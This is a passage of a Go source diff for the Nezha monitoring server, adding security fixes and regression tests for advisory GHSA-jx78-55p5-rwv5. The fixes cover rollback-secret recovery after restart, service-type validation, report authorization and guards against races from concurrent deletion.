(service/rpc/auth.go authorizeAgentForUUID's LookupRevertDelivery branch). +// MarkRevertDelivered persists acked_at and clears the in-memory delivery +// precisely to close that window — but NewServerTransferClass loaded all +// terminal rows within the recovery window without filtering acked_at, +// reopening it after every restart. Loading must skip acked rows; the +// acked credential is already rebuilt into verifiedHandshakes via the +// existing acked-row pass. +func TestNewServerTransferClassSkipsAckedRollbackRecovery(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "from-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "to-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.NoError(t, c.MarkRevertDelivered(1, tr.ID), + "precondition: rollback must be ACKed so the in-memory delivery is consumed") + require.False(t, hasRevertDeliveryFor(c, 1, tr.ID), + "precondition: MarkRevertDelivered must clear the in-memory delivery") + + // Simulate dashboard restart against the same DB + ServerShared. + c.Stop() + reborn := NewServerTransferClass() + defer reborn.Stop() + ServerTransferShared = reborn + + if _, ok := reborn.LookupRevertDelivery(1); ok { + t.Fatal("restart must NOT rehydrate an already-ACKed rollback into revertDeliveries — reopening the auth tolerance window for the ToUserID global AgentSecret contradicts MarkRevertDelivered's contract") + } + + // terminalSecretRecovery must also be empty for the ACKed rollback — + // auth's terminal-recovery lookups would otherwise readmit the per- + // transfer secrets the agent has already rotated past. + if got, _, ok := reborn.LookupByTerminalSecretRecovery(tr.RevertHandshakeSecret); ok { + t.Fatalf("restart must NOT rehydrate ACKed RevertHandshakeSecret into terminalSecretRecovery; got=%v", got) + } + if got, _, ok := reborn.LookupByTerminalSecretRecovery(tr.HandshakeSecret); ok { + t.Fatalf("restart must NOT rehydrate ACKed forward HandshakeSecret into terminalSecretRecovery; got=%v", got) + } + + // Sanity: the long-term verifiedHandshakes credential must still be + // rebuilt from the same row's acked_at, so the agent can keep + // authenticating with the rotated RevertHandshakeSecret. + sid, ok := reborn.LookupServerByVerifiedHandshakeSecret(tr.RevertHandshakeSecret) + require.True(t, ok, "ACKed rollback secret must still be rebuilt into verifiedHandshakes — the agent on disk holds exactly this credential") + require.Equal(t, uint64(1), sid) +} diff --git a/service/singleton/service_type_security_test.go b/service/singleton/service_type_security_test.go new file mode 100644 index 00000000..24524e32 --- /dev/null +++ b/service/singleton/service_type_security_test.go @@ -0,0 +1,37 @@ +package singleton + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func TestServiceSentinelUpdateRejectsNonProbeTaskTypes(t *testing.T) { + ss := &ServiceSentinel{} + require.Error(t, ss.Update(nil)) + for _, taskType := range []uint8{0, model.TaskTypeCommand, model.TaskTypeApplyConfig, model.TaskTypeExec, 255} { + require.Error(t, ss.Update(&model.Service{Type: taskType}), "type %d must not be scheduled", taskType) + } +} + +func TestServiceSentinelQuarantinesInvalidPersistedTypes(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t) + + insert := `INSERT INTO services + (id, user_id, name, type, target, duration, cover, skip_servers_raw, fail_trigger_tasks_raw, recover_trigger_tasks_raw) + VALUES (?, 100, ?, ?, 'example.invalid:443', 3600, ?, '{}', '[]', '[]')` + require.NoError(t, DB.Exec(insert, 91, "legacy-command", model.TaskTypeCommand, model.ServiceCoverIgnoreAll).Error) + require.NoError(t, DB.Exec(insert, 92, "legacy-apply-config", model.TaskTypeApplyConfig, model.ServiceCoverIgnoreAll).Error) + require.NoError(t, DB.Exec(insert, 93, "valid-probe", model.TaskTypeTCPPing, model.ServiceCoverIgnoreAll).Error) + + require.NoError(t, ss.loadServiceHistory()) + _, commandLoaded := ss.Get(91) + _, applyConfigLoaded := ss.Get(92) + valid, validLoaded := ss.Get(93) + require.False(t, commandLoaded) + require.False(t, applyConfigLoaded) + require.True(t, validLoaded) + require.Equal(t, uint8(model.TaskTypeTCPPing), valid.Type) +} diff --git a/service/singleton/servicesentinel.go b/service/singleton/servicesentinel.go index 9b7aef49..a2c6ef8d 100644 --- a/service/singleton/servicesentinel.go +++ b/service/singleton/servicesentinel.go @@ -74,8 +74,11 @@ type ServiceSentinel struct { serviceCurrentStatusData map[uint64]*serviceTaskStatus // 当前任务结果缓存 serviceResponseDataStore map[uint64]serviceResponseData // 当前数据 - serviceResponsePing map[uint64]map[uint64]*pingStore // [service_id] -> ClientID -> delay - tlsCertCache map[uint64]string + serviceResponsePing map[uint64]map[uint64]*pingStore // guarded by serviceResponseDataStoreLock; [service_id] -> ClientID -> delay + tlsCertCache map[uint64]string // guarded by serviceResponseDataStoreLock + serviceReportValidatedHook func(uint64) + loadStatsResponseLockedHook func() + serviceReportBeforeTLSSideEffectsHook func(uint64) servicesLock sync.RWMutex serviceListLock sync.RWMutex @@ -85,6 +88,16 @@ type ServiceSentinel struct { // 30天数据缓存 monthlyStatusLock sync.Mutex monthlyStatus map[uint64]*serviceResponseItem + + // closeOnce + workerWG together let Close() wait for the worker goroutine + // to fully exit. Without this, a test that swaps ServiceSentinelShared back + // to its original value in t.Cleanup races against the still-running + // worker, which keeps reading globals like Conf/CronShared/NotificationShared. + // Production never calls Close() — the process exits while the worker is + // still running and that is fine — but tests must drain the worker before + // restoring globals. + closeOnce sync.Once + workerWG sync.WaitGroup } // NewServiceSentinel 创建服务监控器 @@ -113,7 +126,11 @@ func NewServiceSentinel(serviceSentinelDispatchBus chan<- *model.Service) (*Serv ss.loadTodayStats(today) // 启动服务监控器 - go ss.worker() + ss.workerWG.Add(1) + go func() { + defer ss.workerWG.Done() + ss.worker() + }() // 每日将游标往后推一天 _, err = CronShared.AddFunc("0 0 0 * * *", ss.refreshMonthlyServiceStatus) @@ -192,7 +209,15 @@ func (ss *ServiceSentinel) loadServiceHistory() error { return err } + validServices := services[:0] for _, service := range services { + if err := model.ValidateServiceMonitorType(uint64(service.Type)); err != nil { + // Existing databases may contain values written before Service.Type was + // constrained. Quarantine them in the database for operator review, but + // never register a cron job that could dispatch a privileged Agent task. + log.Printf("NEZHA>> quarantining service %d: %v", service.ID, err) + continue + } task := service // 通过cron定时将服务监控任务传递给任务调度管道 service.CronJobID, err = CronShared.AddFunc(task.CronSpec(), func() { @@ -205,7 +230,9 @@ func (ss *ServiceSentinel) loadServiceHistory() error { ss.serviceCurrentStatusData[service.ID] = new(serviceTaskStatus) ss.serviceCurrentStatusData[service.ID].result = make([]*pb.TaskResult, 0, _CurrentStatusSize) ss.serviceStatusToday[service.ID] = &_TodayStatsOfService{} + validServices = append(validServices, service) } + services = validServices ss.serviceList = services sortServices(ss.serviceList) @@ -322,6 +349,13 @@ func (ss *ServiceSentinel) loadTodayStats(today time.Time) { } func (ss *ServiceSentinel) Update(m *model.Service) error { + if m == nil { + return fmt.Errorf("service is nil") + } + if err := model.ValidateServiceMonitorType(uint64(m.Type)); err != nil { + return err + } + ss.serviceResponseDataStoreLock.Lock() defer ss.serviceResponseDataStoreLock.Unlock() ss.monthlyStatusLock.Lock() @@ -372,11 +406,21 @@ func (ss *ServiceSentinel) Delete(ids []uint64) { for _, id := range ids { delete(ss.serviceCurrentStatusData, id) delete(ss.serviceResponseDataStore, id) + delete(ss.serviceResponsePing, id) delete(ss.tlsCertCache, id) delete(ss.serviceStatusToday, id) // 停掉定时任务 - CronShared.Remove(ss.services[id].CronJobID) + // GHSA-jx78-55p5-rwv5 (Finding 2): guard against a caller supplying an id + // that does not exist in the in-memory registry. CheckPermission returns + // vacuously true for unknown ids, so the controller layer cannot prevent + // this. Without the guard, ss.services[id] is nil and the .CronJobID + // field access panics, aborting the Delete loop before the remaining valid + // ids are cleaned from memory — their service records were already deleted + // from the database, producing zombie services. + if svc := ss.services[id]; svc != nil { + CronShared.Remove(svc.CronJobID) + } delete(ss.services, id) delete(ss.monthlyStatus, id) @@ -384,12 +428,15 @@ func (ss *ServiceSentinel) Delete(ids []uint64) { } func (ss *ServiceSentinel) LoadStats() map[uint64]*serviceResponseItem { - ss.servicesLock.RLock() - defer ss.servicesLock.RUnlock() ss.serviceResponseDataStoreLock.RLock() defer ss.serviceResponseDataStoreLock.RUnlock() + if ss.loadStatsResponseLockedHook != nil { + ss.loadStatsResponseLockedHook() + } ss.monthlyStatusLock.Lock() defer ss.monthlyStatusLock.Unlock() + ss.servicesLock.RLock() + defer ss.servicesLock.RUnlock() // 刷新最新一天的数据 for k := range ss.services { @@ -424,11 +471,6 @@ func (ss *ServiceSentinel) CopyStats() map[uint64]model.ServiceResponseItem { sri := make(map[uint64]model.ServiceResponseItem) for k, service := range stats { - if !service.service.EnableShowInService { - delete(stats, k) - continue - } - service.ServiceName = service.service.Name sri[k] = service.ServiceResponseItem } @@ -472,223 +514,297 @@ func (ss *ServiceSentinel) CheckPermission(c *gin.Context, idList iter.Seq[uint6 return true } +func canReportServiceResult(service *model.Service, reporter *model.Server, taskType uint64) bool { + if service == nil || reporter == nil || uint64(service.Type) != taskType { + return false + } + switch service.Cover { + case model.ServiceCoverAll: + if service.SkipServers[reporter.ID] { + return false + } + case model.ServiceCoverIgnoreAll: + if !service.SkipServers[reporter.ID] { + return false + } + default: + return false + } + + return service.UserID == reporter.GetUserID() || userIsAdmin(service.UserID) +} + +// Close shuts down the ServiceSentinel worker goroutine and waits for it to +// exit. It is idempotent and safe to call more than once. +// +// Why this exists: the worker reads multiple package-level globals during +// each report (Conf, CronShared via notifyCheck, NotificationShared via +// UnMuteNotification, ServerShared, TSDBShared). A test fixture that swaps +// those globals out in t.Cleanup MUST first call Close() — otherwise the +// cleanup write races the still-running worker's read and `go test -race` +// fires (see security_regression_test.go newServiceMonitorSecurityHarness). +// Production never calls Close because the process exits with the worker +// still running, which is fine. +func (ss *ServiceSentinel) Close() { + ss.closeOnce.Do(func() { + close(ss.serviceReportChannel) + ss.workerWG.Wait() + }) +} + // worker 服务监控的实际工作流程 +// +// IMPORTANT: this loop reads several package-level globals (Conf, CronShared, +// NotificationShared, ServerShared, TSDBShared). Any test that replaces those +// globals via t.Cleanup must first call ServiceSentinel.Close() so the worker +// drains and exits before the swap, otherwise the race detector trips. See +// the Close() comment above for the full rationale. func (ss *ServiceSentinel) worker() { // 从服务状态汇报管道获取汇报的服务数据 for r := range ss.serviceReportChannel { - css, _ := ss.Get(r.Data.GetId()) - if css == nil || css.ID == 0 { - log.Printf("NEZHA>> Incorrect service monitor report %+v", r) - continue - } - css = nil - - mh := r.Data - if mh.Type == model.TaskTypeTCPPing || mh.Type == model.TaskTypeICMPPing { - // TCP/ICMP Ping 使用平均值计算后再写入 - serviceTcpMap, ok := ss.serviceResponsePing[mh.GetId()] - if !ok { - serviceTcpMap = make(map[uint64]*pingStore) - ss.serviceResponsePing[mh.GetId()] = serviceTcpMap - } - ts, ok := serviceTcpMap[r.Reporter] - if !ok { - ts = &pingStore{} - } - ts.count++ - ts.ping = (ts.ping*float64(ts.count-1) + float64(mh.Delay)) / float64(ts.count) - if mh.Successful { - ts.successCount++ - } - if ts.count == Conf.AvgPingCount { - if TSDBEnabled() { - if err := TSDBShared.WriteServiceMetrics(&tsdb.ServiceMetrics{ - ServiceID: mh.GetId(), - ServerID: r.Reporter, - Timestamp: time.Now(), - Delay: ts.ping, - Successful: ts.successCount*2 >= ts.count, - }); err != nil { - log.Printf("NEZHA>> Failed to save service monitor metrics to TSDB: %v", err) - } - } else { - if err := DB.Create(&model.ServiceHistory{ - ServiceID: mh.GetId(), - AvgDelay: ts.ping, - Data: mh.Data, - ServerID: r.Reporter, - }).Error; err != nil { - log.Printf("NEZHA>> Failed to save service monitor metrics: %v", err) - } + serverShared := ServerShared + func() { + defer func() { + if recovered := recover(); recovered != nil { + log.Printf("NEZHA>> Service monitor report processing panicked: %v", recovered) } - ts.count = 0 - ts.ping = 0 - ts.successCount = 0 - } - serviceTcpMap[r.Reporter] = ts - } else { + }() + ss.processReport(r, serverShared) + }() + } +} + +func (ss *ServiceSentinel) processReport(r ReportData, serverShared *ServerClass) { + serverShared.lockLifecycleRead() + defer serverShared.unlockLifecycleRead() + + cs, _ := ss.Get(r.Data.GetId()) + reporter, _ := serverShared.Get(r.Reporter) + // 入站结果必须匹配出站任务派发边界，避免 agent 伪造其他服务 ID 写入监控状态。 + if !canReportServiceResult(cs, reporter, r.Data.GetType()) { + log.Printf("NEZHA>> Incorrect service monitor report %+v", r) + return + } + if ss.serviceReportValidatedHook != nil { + ss.serviceReportValidatedHook(r.Data.GetId()) + } + + mh := r.Data + m := serverShared.GetList() + // Serialize Delete and Update before this accepted report causes any side effect. + ss.serviceResponseDataStoreLock.Lock() + defer ss.serviceResponseDataStoreLock.Unlock() + serviceStatusToday := ss.serviceStatusToday[mh.GetId()] + serviceCurrentStatusData := ss.serviceCurrentStatusData[mh.GetId()] + currentService, serviceExists := ss.Get(mh.GetId()) + if serviceStatusToday == nil || serviceCurrentStatusData == nil || !serviceExists || + !canReportServiceResult(currentService, reporter, mh.GetType()) { + return + } + cs = currentService + + if mh.Type == model.TaskTypeTCPPing || mh.Type == model.TaskTypeICMPPing { + // TCP/ICMP Ping 使用平均值计算后再写入 + serviceTcpMap, ok := ss.serviceResponsePing[mh.GetId()] + if !ok { + serviceTcpMap = make(map[uint64]*pingStore) + ss.serviceResponsePing[mh.GetId()] = serviceTcpMap + } + ts, ok := serviceTcpMap[r.Reporter] + if !ok { + ts = &pingStore{} + } + ts.count++ + ts.ping = (ts.ping*float64(ts.count-1) + float64(mh.Delay)) / float64(ts.count) + if mh.Successful { + ts.successCount++ + } + if ts.count == Conf.AvgPingCount { if TSDBEnabled() { if err := TSDBShared.WriteServiceMetrics(&tsdb.ServiceMetrics{ ServiceID: mh.GetId(), ServerID: r.Reporter, Timestamp: time.Now(), - Delay: float64(mh.Delay), - Successful: mh.Successful, + Delay: ts.ping, + Successful: ts.successCount*2 >= ts.count, }); err != nil { log.Printf("NEZHA>> Failed to save service monitor metrics to TSDB: %v", err) } - } - } - - ss.serviceResponseDataStoreLock.Lock() - // 写入当天状态 - if mh.Successful { - ss.serviceStatusToday[mh.GetId()].Delay = (ss.serviceStatusToday[mh. - GetId()].Delay*float64(ss.serviceStatusToday[mh.GetId()].Up) + - float64(mh.Delay)) / float64(ss.serviceStatusToday[mh.GetId()].Up+1) - ss.serviceStatusToday[mh.GetId()].Up++ - } else { - ss.serviceStatusToday[mh.GetId()].Down++ - } - - currentTime := time.Now() - if ss.serviceCurrentStatusData[mh.GetId()].t.IsZero() { - ss.serviceCurrentStatusData[mh.GetId()].t = currentTime - } - - // 写入当前数据 - if ss.serviceCurrentStatusData[mh.GetId()].t.Before(currentTime) { - ss.serviceCurrentStatusData[mh.GetId()].t = currentTime.Add(30 * time.Second) - ss.serviceCurrentStatusData[mh.GetId()].result = append(ss.serviceCurrentStatusData[mh.GetId()].result, mh) - } - - // 更新当前状态 - ss.serviceResponseDataStore[mh.GetId()] = serviceResponseData{} - - // 永远是最新的 30 个数据的状态 [01:00, 02:00, 03:00] -> [04:00, 02:00, 03: 00] - for _, cs := range ss.serviceCurrentStatusData[mh.GetId()].result { - if cs.GetId() > 0 { - rd := ss.serviceResponseDataStore[mh.GetId()] - if cs.Successful { - rd.Up++ - rd.Delay = (rd.Delay*float64(rd.Up-1) + float64(cs.Delay)) / float64(rd.Up) - } else { - rd.Down++ - } - ss.serviceResponseDataStore[mh.GetId()] = rd - } - } - - // 计算在线率， - var stateCode uint8 - { - upPercent := uint64(0) - rd := ss.serviceResponseDataStore[mh.GetId()] - if rd.Down+rd.Up > 0 { - upPercent = rd.Up * 100 / (rd.Down + rd.Up) - } - stateCode = GetStatusCode(upPercent) - } - - if len(ss.serviceCurrentStatusData[mh.GetId()].result) == _CurrentStatusSize { - ss.serviceCurrentStatusData[mh.GetId()].t = currentTime - if !TSDBEnabled() { - rd := ss.serviceResponseDataStore[mh.GetId()] + } else { if err := DB.Create(&model.ServiceHistory{ ServiceID: mh.GetId(), - AvgDelay: rd.Delay, + AvgDelay: ts.ping, Data: mh.Data, - Up: rd.Up, - Down: rd.Down, + ServerID: r.Reporter, }).Error; err != nil { log.Printf("NEZHA>> Failed to save service monitor metrics: %v", err) } } - ss.serviceCurrentStatusData[mh.GetId()].result = ss.serviceCurrentStatusData[mh.GetId()].result[:0] + ts.count = 0 + ts.ping = 0 + ts.successCount = 0 } - - cs, _ := ss.Get(mh.GetId()) - m := ServerShared.GetList() - // 延迟报警 - if mh.Delay > 0 { - delayCheck(&r, m, cs, mh) - } - - // 状态变更报警+触发任务执行 - if stateCode == StatusDown || stateCode != ss.serviceCurrentStatusData[mh.GetId()].lastStatus { - lastStatus := ss.serviceCurrentStatusData[mh.GetId()].lastStatus - // 存储新的状态值 - ss.serviceCurrentStatusData[mh.GetId()].lastStatus = stateCode - - notifyCheck(&r, m, cs, mh, lastStatus, stateCode) - } - ss.serviceResponseDataStoreLock.Unlock() - - // TLS 证书报警 - var errMsg string - if strings.HasPrefix(mh.Data, "SSL证书错误：") { - // i/o timeout、connection timeout、EOF 错误 - if !strings.HasSuffix(mh.Data, "timeout") && - !strings.HasSuffix(mh.Data, "EOF") && - !strings.HasSuffix(mh.Data, "timed out") { - errMsg = mh.Data - if cs.Notify { - muteLabel := NotificationMuteLabel.ServiceTLS(mh.GetId(), "network") - go NotificationShared.SendNotification(cs.NotificationGroupID, Localizer.Tf("[TLS] Fetch cert info failed, Reporter: %s, Error: %s", cs.Name, errMsg), muteLabel) - } + serviceTcpMap[r.Reporter] = ts + } else { + if TSDBEnabled() { + if err := TSDBShared.WriteServiceMetrics(&tsdb.ServiceMetrics{ + ServiceID: mh.GetId(), + ServerID: r.Reporter, + Timestamp: time.Now(), + Delay: float64(mh.Delay), + Successful: mh.Successful, + }); err != nil { + log.Printf("NEZHA>> Failed to save service monitor metrics to TSDB: %v", err) } - } else { - // 清除网络错误静音缓存 - NotificationShared.UnMuteNotification(cs.NotificationGroupID, NotificationMuteLabel.ServiceTLS(mh.GetId(), "network")) + } + } - var newCert = strings.Split(mh.Data, "|") - if len(newCert) > 1 { - enableNotify := cs.Notify + // 写入当天状态 + if mh.Successful { + serviceStatusToday.Delay = (serviceStatusToday.Delay*float64(serviceStatusToday.Up) + + float64(mh.Delay)) / float64(serviceStatusToday.Up+1) + serviceStatusToday.Up++ + } else { + serviceStatusToday.Down++ + } - // 首次获取证书信息时，缓存证书信息 - if ss.tlsCertCache[mh.GetId()] == "" { - ss.tlsCertCache[mh.GetId()] = mh.Data + currentTime := time.Now() + if serviceCurrentStatusData.t.IsZero() { + serviceCurrentStatusData.t = currentTime + } + + // 写入当前数据 + if serviceCurrentStatusData.t.Before(currentTime) { + serviceCurrentStatusData.t = currentTime.Add(30 * time.Second) + serviceCurrentStatusData.result = append(serviceCurrentStatusData.result, mh) + } + + // 更新当前状态 + ss.serviceResponseDataStore[mh.GetId()] = serviceResponseData{} + + // 永远是最新的 30 个数据的状态 [01:00, 02:00, 03:00] -> [04:00, 02:00, 03: 00] + for _, cs := range serviceCurrentStatusData.result { + if cs.GetId() > 0 { + rd := ss.serviceResponseDataStore[mh.GetId()] + if cs.Successful { + rd.Up++ + rd.Delay = (rd.Delay*float64(rd.Up-1) + float64(cs.Delay)) / float64(rd.Up) + } else { + rd.Down++ + } + ss.serviceResponseDataStore[mh.GetId()] = rd + } + } + + // 计算在线率， + var stateCode uint8 + { + upPercent := uint64(0) + rd := ss.serviceResponseDataStore[mh.GetId()] + if rd.Down+rd.Up > 0 { + upPercent = rd.Up * 100 / (rd.Down + rd.Up) + } + stateCode = GetStatusCode(upPercent) + } + + if len(serviceCurrentStatusData.result) == _CurrentStatusSize { + serviceCurrentStatusData.t = currentTime + if !TSDBEnabled() { + rd := ss.serviceResponseDataStore[mh.GetId()] + if err := DB.Create(&model.ServiceHistory{ + ServiceID: mh.GetId(), + AvgDelay: rd.Delay, + Data: mh.Data, + Up: rd.Up, + Down: rd.Down, + }).Error; err != nil { + log.Printf("NEZHA>> Failed to save service monitor metrics: %v", err) + } + } + serviceCurrentStatusData.result = serviceCurrentStatusData.result[:0] + } + + // 延迟报警 + if mh.Delay > 0 { + delayCheck(&r, m, cs, mh) + } + + // 状态变更报警+触发任务执行 + if stateCode == StatusDown || stateCode != serviceCurrentStatusData.lastStatus { + lastStatus := serviceCurrentStatusData.lastStatus + // 存储新的状态值 + serviceCurrentStatusData.lastStatus = stateCode + + notifyCheck(&r, m, cs, mh, lastStatus, stateCode) + } + + // TLS 证书报警 + if ss.serviceReportBeforeTLSSideEffectsHook != nil { + ss.serviceReportBeforeTLSSideEffectsHook(mh.GetId()) + } + var errMsg string + if strings.HasPrefix(mh.Data, "SSL证书错误：") { + // i/o timeout、connection timeout、EOF 错误 + if !strings.HasSuffix(mh.Data, "timeout") && + !strings.HasSuffix(mh.Data, "EOF") && + !strings.HasSuffix(mh.Data, "timed out") { + errMsg = mh.Data + if cs.Notify { + muteLabel := NotificationMuteLabel.ServiceTLS(mh.GetId(), "network") + go NotificationShared.SendNotification(cs.NotificationGroupID, Localizer.Tf("[TLS] Fetch cert info failed, Reporter: %s, Error: %s", cs.Name, errMsg), muteLabel) + } + } + } else { + // 清除网络错误静音缓存 + NotificationShared.UnMuteNotification(cs.NotificationGroupID, NotificationMuteLabel.ServiceTLS(mh.GetId(), "network")) + + var newCert = strings.Split(mh.Data, "|") + if len(newCert) > 1 { + enableNotify := cs.Notify + + // 首次获取证书信息时，缓存证书信息 + if ss.tlsCertCache[mh.GetId()] == "" { + ss.tlsCertCache[mh.GetId()] = mh.Data + } + + oldCert := strings.Split(ss.tlsCertCache[mh.GetId()], "|") + isCertChanged := false + expiresOld, _ := time.Parse("2006-01-02 15:04:05 -0700 MST", oldCert[1]) + expiresNew, _ := time.Parse("2006-01-02 15:04:05 -0700 MST", newCert[1]) + + // 证书变更时，更新缓存 + if oldCert[0] != newCert[0] && !expiresNew.Equal(expiresOld) { + isCertChanged = true + ss.tlsCertCache[mh.GetId()] = mh.Data + } + + notificationGroupID := cs.NotificationGroupID + serviceName := cs.Name + + // 需要发送提醒 + if enableNotify { + // 证书过期提醒 + if expiresNew.Before(time.Now().AddDate(0, 0, 7)) { + expiresTimeStr := expiresNew.Format("2006-01-02 15:04:05") + errMsg = Localizer.Tf( + "The TLS certificate will expire within seven days. Expiration time: %s", + expiresTimeStr, + ) + + // 静音规则： 服务id+证书过期时间 + // 用于避免多个监测点对相同证书同时报警 + muteLabel := NotificationMuteLabel.ServiceTLS(mh.GetId(), fmt.Sprintf("expire_%s", expiresTimeStr)) + go NotificationShared.SendNotification(notificationGroupID, fmt.Sprintf("[TLS] %s %s", serviceName, errMsg), muteLabel) } - oldCert := strings.Split(ss.tlsCertCache[mh.GetId()], "|") - isCertChanged := false - expiresOld, _ := time.Parse("2006-01-02 15:04:05 -0700 MST", oldCert[1]) - expiresNew, _ := time.Parse("2006-01-02 15:04:05 -0700 MST", newCert[1]) + // 证书变更提醒 + if isCertChanged { + errMsg = Localizer.Tf( + "TLS certificate changed, old: issuer %s, expires at %s; new: issuer %s, expires at %s", + oldCert[0], expiresOld.Format("2006-01-02 15:04:05"), newCert[0], expiresNew.Format("2006-01-02 15:04:05")) - // 证书变更时，更新缓存 - if oldCert[0] != newCert[0] && !expiresNew.Equal(expiresOld) { - isCertChanged = true - ss.tlsCertCache[mh.GetId()] = mh.Data - } - - notificationGroupID := cs.NotificationGroupID - serviceName := cs.Name - - // 需要发送提醒 - if enableNotify { - // 证书过期提醒 - if expiresNew.Before(time.Now().AddDate(0, 0, 7)) { - expiresTimeStr := expiresNew.Format("2006-01-02 15:04:05") - errMsg = Localizer.Tf( - "The TLS certificate will expire within seven days. Expiration time: %s", - expiresTimeStr, - ) - - // 静音规则： 服务id+证书过期时间 - // 用于避免多个监测点对相同证书同时报警 - muteLabel := NotificationMuteLabel.ServiceTLS(mh.GetId(), fmt.Sprintf("expire_%s", expiresTimeStr)) - go NotificationShared.SendNotification(notificationGroupID, fmt.Sprintf("[TLS] %s %s", serviceName, errMsg), muteLabel) - } - - // 证书变更提醒 - if isCertChanged { - errMsg = Localizer.Tf( - "TLS certificate changed, old: issuer %s, expires at %s; new: issuer %s, expires at %s", - oldCert[0], expiresOld.Format("2006-01-02 15:04:05"), newCert[0], expiresNew.Format("2006-01-02 15:04:05")) - - // 证书变更后会自动更新缓存，所以不需要静音 - go NotificationShared.SendNotification(notificationGroupID, fmt.Sprintf("[TLS] %s %s", serviceName, errMsg), "") - } + // 证书变更后会自动更新缓存，所以不需要静音 + go NotificationShared.SendNotification(notificationGroupID, fmt.Sprintf("[TLS] %s %s", serviceName, errMsg), "") } } } @@ -700,17 +816,25 @@ func delayCheck(r *ReportData, m map[uint64]*model.Server, ss *model.Service, mh return } + // GHSA-jx78-55p5-rwv5 (incomplete fix of GHSA-qjpp-gffx-2wm9): the server + // map snapshot m is taken outside serviceResponseDataStoreLock and + // ServerShared has its own independent lock, so a concurrent batch-delete of + // the reporter's server can remove the entry between the pre-lock validation + // and this point. Guard against the nil pointer before using the server. + reporterServer := m[r.Reporter] + if reporterServer == nil { + return + } + notificationGroupID := ss.NotificationGroupID minMuteLabel := NotificationMuteLabel.ServiceLatencyMin(mh.GetId()) maxMuteLabel := NotificationMuteLabel.ServiceLatencyMax(mh.GetId()) if mh.Delay > ss.MaxLatency { // 延迟超过最大值 - reporterServer := m[r.Reporter] msg := Localizer.Tf("[Latency] %s %2f > %2f, Reporter: %s", ss.Name, mh.Delay, ss.MaxLatency, reporterServer.Name) go NotificationShared.SendNotification(notificationGroupID, msg, minMuteLabel) } else if mh.Delay < ss.MinLatency { // 延迟低于最小值 - reporterServer := m[r.Reporter] msg := Localizer.Tf("[Latency] %s %2f < %2f, Reporter: %s", ss.Name, mh.Delay, ss.MinLatency, reporterServer.Name) go NotificationShared.SendNotification(notificationGroupID, msg, maxMuteLabel) } else { @@ -722,10 +846,16 @@ func delayCheck(r *ReportData, m map[uint64]*model.Server, ss *model.Service, mh func notifyCheck(r *ReportData, m map[uint64]*model.Server, ss *model.Service, mh *pb.TaskResult, lastStatus, stateCode uint8) { + // GHSA-jx78-55p5-rwv5: guard against concurrent server deletion (same TOCTOU + // class as the 2026-07-21 fix, a few dozen lines lower in the same worker). + // ServerShared has its own lock; m is a snapshot taken outside + // serviceResponseDataStoreLock, so the server may have been removed between + // the pre-lock validation and here. + reporterServer := m[r.Reporter] + // 判断是否需要发送通知 isNeedSendNotification := ss.Notify && (lastStatus != 0 || stateCode == StatusDown) - if isNeedSendNotification { - reporterServer := m[r.Reporter] + if isNeedSendNotification && reporterServer != nil { notificationGroupID := ss.NotificationGroupID notificationMsg := Localizer.Tf("[%s] %s Reporter: %s, Error: %s", StatusCodeToString(stateCode), ss.Name, reporterServer.Name, mh.Data) muteLabel := NotificationMuteLabel.ServiceStateChanged(mh.GetId()) @@ -740,14 +870,13 @@ func notifyCheck(r *ReportData, m map[uint64]*model.Server, // 判断是否需要触发任务 isNeedTriggerTask := ss.EnableTriggerTask && lastStatus != 0 - if isNeedTriggerTask { - reporterServer := m[r.Reporter] + if isNeedTriggerTask && reporterServer != nil { if stateCode == StatusGood && lastStatus != stateCode { // 当前状态正常 前序状态非正常时 触发恢复任务 - go CronShared.SendTriggerTasks(ss.RecoverTriggerTasks, reporterServer.ID) + go CronShared.SendTriggerTasks(ss.RecoverTriggerTasks, reporterServer.ID, ss.UserID) } else if lastStatus == StatusGood && lastStatus != stateCode { // 前序状态正常 当前状态非正常时 触发失败任务 - go CronShared.SendTriggerTasks(ss.FailTriggerTasks, reporterServer.ID) + go CronShared.SendTriggerTasks(ss.FailTriggerTasks, reporterServer.ID, ss.UserID) } } } diff --git a/service/singleton/servicesentinel_lifecycle_test.go b/service/singleton/servicesentinel_lifecycle_test.go new file mode 100644 index 00000000..af8a24ac --- /dev/null +++ b/service/singleton/servicesentinel_lifecycle_test.go @@ -0,0 +1,646 @@ +package singleton + +import ( + "context" + "fmt" + "os" + "os/exec" + "strings" + "sync" + "testing" + "time" + + "github.com/nezhahq/nezha/model" +) + +// Regression markers for Finding 1 and Finding 2 of GHSA-jx78-55p5-rwv5 +// (incomplete fix of GHSA-qjpp-gffx-2wm9). +const ( + concurrentServerDeleteSuccessMarker = "ghsa-jx78-55p5-rwv5-finding1-no-crash" + deleteUnknownIDSuccessMarker = "ghsa-jx78-55p5-rwv5-finding2-no-zombie" +) + +const serviceSentinelLifecycleSuccessMarker = "service-sentinel-stale-report-lifecycle-success" + +func TestServiceSentinelReporterDeleteWaitsForSynchronousReportProcessing(t *testing.T) { + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "lifecycle-service", + Type: model.TaskTypeTCPPing, + Target: "lifecycle.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, service) + + reportValidated := make(chan struct{}) + releaseReport := make(chan struct{}) + var releaseOnce sync.Once + release := func() { releaseOnce.Do(func() { close(releaseReport) }) } + ss.serviceReportValidatedHook = func(serviceID uint64) { + if serviceID == service.ID { + close(reportValidated) + <-releaseReport + } + } + t.Cleanup(func() { + release() + ss.Close() + }) + + ss.Dispatch(serviceMonitorResult(1, service.ID, model.TaskTypeTCPPing, true)) + select { + case <-reportValidated: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } + + deleteDone := make(chan struct{}) + go func() { + ServerShared.Delete([]uint64{1}) + close(deleteDone) + }() + select { + case 